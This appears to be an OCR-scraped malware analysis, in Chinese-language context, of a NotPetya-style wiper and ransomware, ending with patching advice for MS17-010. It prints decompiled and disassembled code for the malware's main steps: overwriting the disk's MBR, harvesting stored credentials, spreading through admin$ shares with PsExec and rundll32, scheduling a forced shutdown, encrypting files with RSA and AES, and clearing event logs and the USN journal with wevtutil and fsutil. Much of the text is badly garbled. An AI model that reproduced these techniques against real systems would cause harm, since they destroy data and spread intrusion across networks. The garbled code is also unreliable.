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SeShutDownPrivilege,SeDebugPrivilege,SeTcbPrivilege



VUBHYSSH > puzn BLX

008A953E FF75 FC push dword ptr [ebp-4] =
BB8AS53E 50 push eax
OARAGOCAE! _ CL7C L8 _ ... longh., Aaaca e rnnnﬁg1_| . . .
FEISIBCITSABeN calll Ikernel32_WriteFile
B88A9548] FF75 F& | push I
888A954B1 56 | push esi I
BOBAYSLC]  FFD7 | edi I
BOBAYSLEl 58 | push eax I
088A954F 1 FF15 D&D18AGE ([EEM  dword ptr [8AD1D4] Intd1l.Rt1Freeleap
B8BA9555] FF75 F8 | push idword ptr [ebp-8] I
F 5 dword ptr [SADBBC]
dword ptr [S8BF18C]._eax
888A9367
-edx eax

short OOBA958Y4 J

dword ptr [ebp+14]

dword ptr [ebp+10] .

dword ptr [ebp+C]

. dunwed gFe_ Fohneol

C— LIFD L GIEMETET
‘ + BB5AY58L| 56 i ==
............ 15T BARANIRGI=FCRI1AEL7 (kerpeld? WriteFiloy

1= - <:Z ... D 00 B0 0D 0O OO OD OO OO0 GO OO OO OO 00 00 @0 _._...._._..
DOUGACIL | ODOFGYFE || Buffer = ODOFGFFR OR9FS202 ) 00 A0 B0 OB 0P 60 0D B0 AG B0 OO 0P B0 A8 B8 60| .. 1
HOHOACTE | OBO58778 | nBytesToWrite = 58778 (36236 UBOF6818| 06 B8 00 06 60 B0 08 BA BO GO B0 06 68 66 60 08| .. ... . .....
HHO6ACIC | GBBOACIH BytesWritten = BHH6ACEE HOOFH82H B0 A0 B0 DD OO PO OGP OO A0 B0 OO OO 6O 68 B8 66 ... ... _._.
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(¢)) SeDebugPrivilege 10 (521*10 )
C 10

vl = CreateFileA{""\\\%.A\AC:", Bx40000000u, 3u, 8, 3u, 6, 68);

if § ve )

{

if ( DeviceloControl{v@, IOCTL_DISK_GET_DRIVE_GEOMETRY, @8, 8, &0utBuffer, 24u, &BytesReturned, @) )

r SetFilePointer v@. OutBuffe
BytesReturned WriteFileiwd. w1, OutBuffer

) MBR
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_DWORD = v3 _DUWORD = w3
us _DUWORD = u3
u3
uh
ul
vt
us
us
result

qmemcpy; mbr_data. w25
uh

mhe data uf o e e —

®) MBR

if § vig )
{
do

{
result = write_disk{u28, &FileMame, (LPCUOID)u13);// ZHHBR,EZFH{Z B2,
if ( result € 8 )

s s

break;
++y20;
ul13 += Pg2AA:-
»ny
U2e w19
result
31F8F8 = result dword_181
11t =1 i= rest
= write_disk(32, &FileHane, &Buffer);// HAFMILAZE result
1881F8F8 = result; dword_"
:sult >= 8 ) if ( re
{
Lt = write_disk(33, &FileMane, &u21);// 1B 77,0207 resul
1_1801F8F8 = result; dworc

result  write_disk. FileHame  mbr_data

) MBR






(@) ID 3 Windows dllhost.dat
PsExec.exe exe bat vbs



v? = CredEnumerateW{d, A, &ui3d, &ui2);
if { w9 )
1
vl = B;
vig = B8;
if ( v12 > B )
1
while { 1 )
1
u2 = ui2 + 4 = ui;
v3 = ={ DWORD =*}u2;
vy = ={char ==x){=( DWORD =)u2 + 8);
if { uh )
1
vi1 = 8;
ut = L"TERHSRU/";
uh = ={const wchar_t ==)(=x{ DWORD =}ju2 + 8);
while { *=uf == =y5 )
1
++uﬁ;
++u5;

T -1 il

\BEL_8:

if ( CetSystembirectoryl(&Buffer, Ox30Cu) && PathAppendW(&Buffer, L"shutdoun.exe /v /") )
{
if ( sub_18888494() )
{
vl = L"/RU \"SYSTEM\" *;
if { *(token_mask & &) )
vl = (const wchar_t =)&unk_10814388;
wsprintfU{&uvi, L"schtasks %ws/Create /SC once /TH \'\" /TR \"%uws\" /ST %02d:%02d", vk, &Buffer, u3, v2);
H
else

{
wsnrintFUFRuhA . 1 "at ZA2d 2824 2us" 0 09 RRnFfary-
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call Allitl oo TIUUTES S
mav ebx, ds:CreateThread 10807E8?
push edi ; 1pThreadId 10007E8F
push edi ; duCreationFlags 10007E90

push edi r""""'} 1pParameter 10807E91

- FaleTT s,

10067E97 - b S L tee
18067E28 e Mo .
2
VO T My,
v? = socket(2, 1, B);
if (w2 )
{
name.sa_family = 2;
*#( DWORD =)&name.sa_data[2] = ai;
#( WORD =)&name.sa_data[@] = htons{hostshort});
if { ioctlsocket{v?, -2147195266, &argp) *= -1 )
{
connect{vz, &name, 16);
writefds.fd_array[8] = vZ;
yritefds.fd_count = 1;
timeout.tu_sec = 2;
timeout.tu_usec = @;
T e LU P Y D .
{{ﬁ
(WSAFDISSet v2 . writefds. * 1o e
511
tet. w2, closesocl

3

vd = NEtSeruerEnuﬁ(B, #x65u, &bufptr, BxFFFFFFFF, &entriesread, &totalentries, servertype, domain, &resume_handle});
if ( v3 &k U3 t= 234 )
1
domaina = @;
H
else
{

Anmaina - ) pENEINY;

FEELE b R

4 DhcpEnumSubnets DHCP IP
139 445 DhcpEnumSubnets() DHCP






wsprintfW(&Hame, L™\\\\%s\\admin$",

HetResource . dwScope = 8;

menset{&HetResource .duType, 8, 8x1Cu);

HetResource . lpRemoteMame = &Hame ;

HetResource.duType = 1;

sub_18888B70(&v23);

wsprintfW(&FileHame, L™\\\\Viws\iadmin$y\%ws™,

while { 1)

{ /7 IRAEER
pszPath = 8;

hEvictinaTonlan =
BT RO o= SPLEL

ad);

ad, &U23);

A% adnin$ BE |-

-
LdnllcorHapn. o Ay -

fuaﬂn'F‘”qunddtﬂﬂﬂﬂﬁ!ﬁﬂﬂuﬂﬂﬁﬂﬁbﬂﬂ&ﬂﬂf“91 ]ﬂD’FF""”d
: o LYWW Tl adnlndiges ', .,
RN Y Rt

‘rocessFileBuff

iriteFile 9 aF

if ( tduErrcode )

buildGnd{ (WCHAR
us o= 8;

=)ecmdline, (WCHAR =)&u29, a3};//

i
if { duErrCode == 1)

-d G:\\Hindows\\Systemd2\\rundll32.exe \'C:\\Windows\i\%s\',#1 %s \\\\%s -accepteula -s

{
if ( tlpUserNHame || tlpPassuord )
goto LABEL_53;
_....buildRenotel aainf.(HCHAR x)Enodling, LUCHAR Q&2 . gl  iiplylpserHane. fintilnPassunrdy:
L —=
LPCUSTR [INNEEI
LPUSTR
struct _STARTUPINFOW *  char =
struct _PROCESS_INFORHATION = char = HANDLE LPCUS"
e w e s
u7 = sub 100859?E((1nt)&Dst, cp, 445u, @, a?, a3, ah4, a5, a6, a’);
if w7 )
sub_18882868();
result = uy;
¥
else

byte_1881F8FD = 0;

0 = cih AAAACAFCSf5int AP0+ | BWEn fintlouh AAARACTE 729,

i

L
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188308 0: loc_18@
cl, ds:EEBIEl eax] nov
cl, BCCh xor
[esi+eax+1F1h], cl mou
eax inc
eax, 9¥Fh cmp
choret. A . i

|

*(_BYTE =){vi + 8) = 3;

®={ BYTE =){uv3 + 4B) = 3;

®={ DUWORD =){vd + 1468) = -3145552;

®={ DUWORD #=){uvd + 164} = -1;

®={ DUWORD =){vid + 148) = -3145552;

®={ DUWORD =){uvd + 172} = -1;

®={ DUWORD =){vi + 192} = -2181855;

={ DWORD =){ud + 196) = -21816856;

={ DWORD =){ud + 396) = -2108848;

={ DWORD =){ud + hBh) = -2188752;

={ DWORD =){ud + W472) = -3145232;

={ DWORD =){ud + A476) = -1;

*{ DUORD =){uvd + 488) = -3145216;

®={ DUWORD #=){uvd + 492% = -1;

v = @;

do

{

T L - L T
us

RSA+AES RSA



result = {signed int)LocalAlloc{Bx4Bu, Bx28u);
if ( result )

*{_ DWORD =){result + 16) = 1 "MIIBCgKCAQEAXP/UqKe AyLe?JhUgFHQGuIITOGMPXWNKSHNOAYTB065CH 8P jI0InTeHkXE]FO2n 2 nURWY u™
"Hﬂﬂl‘rlﬂ hﬂ:':’.lﬂthQ9EqJ310qmﬂ1QDﬂ'Tﬂtyfiﬂthﬂu‘qu ¥ iEZZQ‘ZZTKBR?Dt}ﬂH}RKxEEFth FuP12EvD”

[ T Lt

_DUWORD = result
_DWORD = result _DWORD = RootPathMame
_DWORD * result vl

[ g = = T Tl

vk = L"Hicrosoft Enhanced RSA and AES Cryptographic Provider";

¥
if { f*CryptAcquireContextW{{HCRYPTPROU =)}lpThreadParameter + 2, @, ul, @x18u, uS}) }

goto LABEL_18;
ABEL_7:
u2 = 1pThreadParameter;
i cub_18881BLE! 1n=:

int FileSearchfAndEncryted LPCUSTR
Gen_TipinFo. LPCUSTR
Crypthestroykey. { _DWORD =
CryptReleaseContext _DUWORD ==

LocalFree

2 C:\\Windows
"C:\\Windows;",

TSI,

3
3
e fFindFile , &FindFileDatad ¥z
MO AACEdn B
README.TXT
10.
R s
wsprintfu{
Bu13,
L weututil cl Setup & wewtutil cl System & weututil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:",
pszPath);
uly = @;

cuh A0ARKIRNSFinFIR01T 23 -

R R S e SRS e



1 Windows MS17-010

https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

2 WMI Windows Management Instrumentation

services.msc
Windows Management Instrumentation

WMI
3 Minikit

regedit


https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
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